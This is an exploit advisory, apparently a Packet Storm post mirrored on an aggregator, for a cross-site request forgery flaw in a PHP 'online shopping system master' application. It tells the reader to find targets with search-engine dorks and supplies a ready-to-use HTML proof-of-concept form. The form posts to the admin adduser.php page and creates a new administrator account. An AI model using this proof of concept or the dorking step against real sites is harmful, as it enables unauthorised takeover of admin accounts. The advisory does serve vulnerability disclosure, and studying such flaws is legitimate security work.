Online Shopping System Master 1.0 Cross Site Request Forgery
2024-8-22 22:46:45 Author: packetstormsecurity.com(查看原文) 阅读量:3 收藏

=============================================================================================================================================
| # Title : online shopping system master v1.0 CSRF Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |
| # Vendor : https://download-media.code-projects.org/2020/04/Online_Shopping_IN_PHP_CSS_JavaScript_AND_MYSQL__FREE_DOWNLOAD.zip |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code create a new admin .

[+] Go to the line 7.

[+] Set the target site link Save changes and apply .

[+] infected file : /admin/adduser.php.

[+] save code as poc.html .

<div class="card">
<div class="card-header card-header-primary">
<h4 class="card-title">Add Users</h4>
<p class="card-category">Complete User profile</p>
</div>
<div class="card-body">
<form action="http://127.0.0.1/online-shopping-system-master/admin/adduser.php" method="post" name="form" enctype="multipart/form-data">
<div class="row">

</div>
</div>
</div>
<div class="row">
<div class="col-md-6">
<div class="form-group bmd-form-group">
<label class="bmd-label-floating">Email</label>
<input type="email" name="email" id="email" class="form-control" required="">
</div>
</div>
<div class="col-md-6">
<div class="form-group bmd-form-group">
<label class="bmd-label-floating">Password</label>
<input type="password" id="password" name="password" class="form-control" required="">
</div>
</div>

<button type="submit" name="btn_save" id="btn_save" class="btn btn-primary pull-right">Update User</button>
<div class="clearfix"></div>
</form>
</div>
</div>

Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================


文章来源: https://packetstormsecurity.com/files/180325/ossm10-xsrf.txt
如有侵权请联系:admin#unsafe.sh